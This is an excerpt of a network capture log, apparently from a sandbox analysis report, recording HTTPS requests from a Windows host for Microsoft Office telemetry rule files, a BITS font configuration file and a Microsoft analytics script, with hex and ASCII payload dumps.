2024-11-22 00:03:01 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:00 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:01 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:01 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 8d0ecd0b-301e-0020-617e-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000301Z-174c587ffdfb5q56hC1TEB04kg00000000e000000000adsp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:01 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:01 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:01 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:01 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 45336a67-c01e-0014-2f6a-3ca6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000301Z-174c587ffdftv9hphC1TEBm29w00000000m0000000009fvz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:01 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:01 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:01 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:01 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 80a20124-101e-0046-4f43-3c91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000301Z-15b8b599d88wk8w4hC1TEB14b800000000mg00000000nd47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:01 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	49822	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:02 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 00:03:02 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=146504 Date: Fri, 22 Nov 2024 00:03:02 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:03 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:03 UTC	495	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:03 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 731b5b9c-601e-0001-6b71-3cfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000303Z-174c587ffdfdwxdvhC1TEB1c4n00000000ng000000005c97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 00:03:03 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:03 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:03 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000303Z-178bfbc474b9xljthC1NYCtw94000000025g000000003zh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:03 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:03 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:03 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000303Z-178bfbc474bwlrhlhC1NYCy3kg0000000280000000005ngu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:03 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:03 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:03 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: e3a34b23-101e-0034-2f4c-3c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000303Z-15b8b599d88z9sc7hC1TEBkr4w00000000s000000000e5yr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:03 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:03 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:03 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 621687ee-a01e-0084-4027-3c9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000303Z-178bfbc474bvjk8shC1NYC83ns00000001zg00000000huma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:03 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	49828	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:03 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 00:03:04 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=146558 Date: Fri, 22 Nov 2024 00:03:04 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-22 00:03:04 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	49832	13.107.246.63	443	3724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:04 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 00:03:05 UTC	889	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:04 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241122T000304Z-15b8b599d889fz52hC1TEB59as00000000g000000000fuwu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:05 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-22 00:03:05 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
